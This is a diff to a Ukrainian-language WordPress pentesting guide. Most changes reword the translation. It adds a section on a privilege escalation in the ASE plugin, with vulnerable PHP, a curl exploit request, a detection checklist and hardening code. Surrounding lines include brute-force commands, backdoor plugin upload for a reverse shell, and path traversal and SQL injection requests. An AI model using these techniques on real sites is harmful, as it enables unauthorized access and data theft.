diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index fe369367a..49a9f5540 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,12 +5,12 @@ ## Основна інформація - **Завантажені** файли знаходяться за адресою: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Файли тем можна знайти в /wp-content/themes/,** тому, якщо ви зміните деякі php файли теми для отримання RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: Використовуючи **тему twentytwelve**, ви можете **доступитися** до **404.php** файлу за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Файли тем можна знайти в /wp-content/themes/,** тому якщо ви зміните деякі php файли теми для отримання RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: Використовуючи **тему twentytwelve**, ви можете **доступитися** до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Ще один корисний URL може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Ще одна корисна URL-адреса може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - У **wp-config.php** ви можете знайти кореневий пароль бази даних. -- Шляхи для входу за замовчуванням, які слід перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- Шляхи для перевірки входу за замовчуванням: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Основні файли WordPress** @@ -22,10 +22,10 @@ - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` - це файл, який представляє функцію WordPress, що дозволяє передавати дані з HTTP, який діє як механізм транспорту, а XML - як механізм кодування. Цей тип зв'язку був замінений на [REST API](https://developer.wordpress.org/rest-api/reference) WordPress. +- `xmlrpc.php` - це файл, який представляє функцію WordPress, що дозволяє передавати дані з HTTP, що діє як механізм транспорту, а XML - як механізм кодування. Цей тип зв'язку був замінений на [REST API](https://developer.wordpress.org/rest-api/reference) WordPress. - Папка `wp-content` є основним каталогом, де зберігаються плагіни та теми. -- `wp-content/uploads/` - це каталог, де зберігаються всі файли, завантажені на платформу. -- `wp-includes/` - це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript файли та віджети. +- `wp-content/uploads/` Це каталог, де зберігаються всі файли, завантажені на платформу. +- `wp-includes/` Це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript файли та віджети. - `wp-sitemap.xml` У версіях WordPress 5.5 і вище WordPress генерує XML файл карти сайту з усіма публічними постами та публічно запитуваними типами постів і таксономіями. **Пост експлуатація** @@ -79,7 +79,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Плагіни та Теми -Ви, ймовірно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно Брутфорсити список Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки). +Ви, напевно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно Брутфорсити список Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки). ### Користувачі @@ -97,7 +97,7 @@ curl http://blog.example.com/wp-json/wp/v2/users ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Зверніть увагу, що цей кінцевий пункт відкриває лише користувачів, які зробили пост. **Будуть надані лише відомості про користувачів, у яких активована ця функція**. +Зверніть увагу, що цей кінцевий пункт відкриває лише користувачів, які зробили пост. **Будуть надані лише відомості про користувачів, у яких ця функція активована**. Також зверніть увагу, що **/wp-json/wp/v2/pages** може витікати IP-адреси. @@ -120,7 +120,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **Брутфорс облікових даних** -**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** — це деякі з методів, які можна використовувати для брутфорсу облікових даних. Якщо ви зможете знайти будь-який з них, ви можете надіслати щось на зразок: +**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** - це деякі з методів, які можна використовувати для брутфорсу облікових даних. Якщо ви зможете знайти будь-який з них, ви можете надіслати щось на зразок: ```html wp.getUsersBlogs @@ -229,7 +229,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go Цей інструмент перевіряє, чи існує **methodName: pingback.ping** для шляху **/wp-json/oembed/1.0/proxy** і, якщо існує, намагається їх експлуатувати. -## Автоматичні інструменти +## Automatic Tools ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) @@ -267,7 +267,7 @@ to get a session. ### PHP плагін Можливо, що можна завантажити .php файли як плагін.\ -Створіть свій php бекдор, використовуючи, наприклад: +Створіть свій php бекдор, наприклад, використовуючи: ![](<../../images/image (183).png>) @@ -287,7 +287,7 @@ to get a session. ![](<../../images/image (462).png>) -Доступ до неї, і ви побачите URL для виконання реверс-оболонки: +Отримайте доступ до неї, і ви побачите URL для виконання реверсної оболонки: ![](<../../images/image (1006).png>) @@ -297,7 +297,7 @@ to get a session. 1. **Отримання плагіна**: Плагін отримується з джерела, такого як Exploit DB, як [**тут**](https://www.exploit-db.com/exploits/36374). 2. **Встановлення плагіна**: -- Перейдіть до панелі управління WordPress, потім перейдіть до `Панель управління > Плагіни > Завантажити плагін`. +- Перейдіть до панелі управління WordPress, потім перейдіть до `Панель > Плагіни > Завантажити плагін`. - Завантажте zip-файл завантаженого плагіна. 3. **Активація плагіна**: Після успішної установки плагін потрібно активувати через панель управління. 4. **Експлуатація**: @@ -346,7 +346,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **Використання `nopriv` робить кінцеву точку доступною для будь-яких користувачів (навіть неавтентифікованих).** > [!CAUTION] -> Більше того, якщо функція просто перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція просто перевіряє, чи увійшов користувач, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями. +> Більше того, якщо функція просто перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція просто перевіряє, чи увійшов користувач, зазвичай не перевіряючи роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями. - **REST API** @@ -372,11 +372,11 @@ $this->namespace, '/get/', array( Теми та плагіни WordPress часто відкривають AJAX обробники через хуки `wp_ajax_` та `wp_ajax_nopriv_`. Коли використовується варіант **_nopriv_**, **зворотний виклик стає доступним для неавтентифікованих відвідувачів**, тому будь-яка чутлива дія повинна додатково реалізовувати: -1. **перевірку можливостей** (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), і +1. Перевірку **можливостей** (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), і 2. **CSRF nonce**, перевірений за допомогою `check_ajax_referer()` / `wp_verify_nonce()`, і -3. **Сувору санітизацію / валідацію введення**. +3. **Сувору санітизацію / валідацію вводу**. -Мультифункціональна тема Litho (< 3.1) забула ці 3 контролі в функції *Видалити сімейство шрифтів* і в результаті відправила наступний код (спрощений): +Тема Litho (мультифункціональна) (< 3.1) забула ці 3 контролі в функції *Видалити сімейство шрифтів* і в результаті відправила наступний код (спрощений): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -395,11 +395,11 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Проблеми, які виникають через цей фрагмент: +Проблеми, введені цим фрагментом: * **Неавтентифікований доступ** – хук `wp_ajax_nopriv_` зареєстровано. * **Відсутня перевірка nonce / можливостей** – будь-який відвідувач може звернутися до кінцевої точки. -* **Відсутня санітизація шляху** – рядок `fontfamily`, контрольований користувачем, конкатенується до шляху файлової системи без фільтрації, що дозволяє класичний перехід `../../`. +* **Відсутня санітизація шляху** – рядок `fontfamily`, контрольований користувачем, конкатенується до шляху файлової системи без фільтрації, що дозволяє класичний `../../` обхід. #### Експлуатація @@ -440,7 +440,71 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ ``` > [!TIP] > **Завжди** розглядайте будь-яку операцію запису/видалення на диску як привілейовану та двічі перевіряйте: -> • Аутентифікація • Авторизація • Нонси • Санітизація вводу • Обмеження шляху (наприклад, через `realpath()` плюс `str_starts_with()`). +> • Аутентифікація • Авторизація • Нонсе • Санітизація введення • Обмеження шляху (наприклад, через `realpath()` плюс `str_starts_with()`). + +--- + +### Підвищення привілеїв через відновлення застарілої ролі та відсутню авторизацію (ASE "Перегляд адміністратора як ролі") + +Багато плагінів реалізують функцію "перегляд як роль" або тимчасового перемикання ролей, зберігаючи оригінальну роль(і) у метаданих користувача, щоб їх можна було відновити пізніше. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) та список, що підтримується плагіном, без перевірки можливостей та дійсного нонсу, це призводить до вертикального підвищення привілеїв. + +Приклад з реального світу був знайдений у плагіні Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Гілка скидання відновлювала ролі на основі `reset-for=`, якщо ім'я користувача з'являлося в внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала перевірку `current_user_can()` або перевірку нонсу перед видаленням поточних ролей і повторним додаванням збережених ролей з метаданих користувача `_asenha_view_admin_as_original_roles`: +```php +// Simplified vulnerable pattern +if ( isset( $_REQUEST['reset-for'] ) ) { +$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] ); +$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? []; + +if ( in_array( $reset_for_username, $usernames, true ) ) { +$u = get_user_by( 'login', $reset_for_username ); +foreach ( $u->roles as $role ) { $u->remove_role( $role ); } +$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true ); +foreach ( $orig as $r ) { $u->add_role( $r ); } +} +} +``` +Чому це експлуатовано + +- Довіряє `$_REQUEST['reset-for']` та опції плагіна без авторизації на стороні сервера. +- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і був понижений, він може відновити їх, натиснувши на шлях скидання. +- У деяких розгортаннях будь-який автентифікований користувач міг би ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (порушена авторизація). + +Передумови атаки + +- Вразлива версія плагіна з увімкненою функцією. +- Цільовий обліковий запис має застарілу роль з високими привілеями, збережену в метаданих користувача з попереднього використання. +- Будь-яка автентифікована сесія; відсутній nonce/можливість у процесі скидання. + +Експлуатація (приклад) +```bash +# While logged in as the downgraded user (or any auth user able to trigger the code path), +# hit any route that executes the role-switcher logic and include the reset parameter. +# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks. +curl -s -k -b 'wordpress_logged_in=...' \ +'https://victim.example/wp-admin/?reset-for=' +``` +На вразливих збірках це видаляє поточні ролі та повторно додає збережені оригінальні ролі (наприклад, `administrator`), ефективно підвищуючи привілеї. + +Список перевірки виявлення + +- Шукайте функції перемикання ролей, які зберігають “оригінальні ролі” в метаданих користувача (наприклад, `_asenha_view_admin_as_original_roles`). +- Визначте шляхи скидання/відновлення, які: + - Читають імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`. + - Модифікують ролі через `add_role()` / `remove_role()` без `current_user_can()` та `wp_verify_nonce()` / `check_admin_referer()`. + - Авторизують на основі масиву параметрів плагіна (наприклад, `viewing_admin_as_role_are`) замість можливостей актора. + +Ускладнення + +- Застосовуйте перевірки можливостей на кожному гілці, що змінює стан (наприклад, `current_user_can('manage_options')` або суворіше). +- Вимагайте нонси для всіх мутацій ролей/дозволів та перевіряйте їх: `check_admin_referer()` / `wp_verify_nonce()`. +- Ніколи не довіряйте іменам користувачів, наданим запитом; визначайте цільового користувача на стороні сервера на основі автентифікованого актора та явної політики. +- Скасовуйте стан “оригінальних ролей” при оновленнях профілю/ролі, щоб уникнути застарілого відновлення високих привілеїв: +```php +add_action( 'profile_update', function( $user_id ) { +delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); +}, 10, 1 ); +``` +- Розгляньте можливість зберігання мінімального стану та використання токенів з обмеженим часом дії та захищених можливостей для тимчасових перемикань ролей. --- @@ -448,7 +512,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ ### Регулярні оновлення -Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтвердіть, що автоматичне оновлення увімкнене у wp-config.php: +Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтверджуйте, що автоматичне оновлення увімкнене в wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); @@ -482,11 +546,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Проблеми, введені цим фрагментом: +Проблеми, які виникають через цей фрагмент: 1. **Несанітизований ввід користувача** – `parentid` надходить безпосередньо з HTTP запиту. 2. **Конкатенація рядків у WHERE клаузі** – немає `is_numeric()` / `esc_sql()` / підготовленого запиту. -3. **Несанкціонована досяжність** – хоча дія виконується через `admin-post.php`, єдина перевірка – це **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати з публічної сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`. +3. **Несанкціонована досяжність** – хоча дія виконується через `admin-post.php`, єдиною перевіркою є **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати з публічної сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`. #### Експлуатація @@ -507,7 +571,7 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ ### Несанкціоноване завантаження довільних файлів / Перехід по шляху (WP Job Portal <= 2.3.2) -Інше завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через перехід по шляху. Вразливий приймач знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`: +Інше завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через перехід по шляху. Вразливий приймач розташований у `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... @@ -528,7 +592,9 @@ curl -G https://victim.com/wp-admin/admin-post.php \ ## Посилання -- [Вразливість неавтентифікованого довільного видалення файлів у темі Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) -- [Виправлено кілька критичних вразливостей у плагіні WP Job Portal](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) +- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) +- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) +- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) +- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) {{#include ../../banners/hacktricks-training.md}}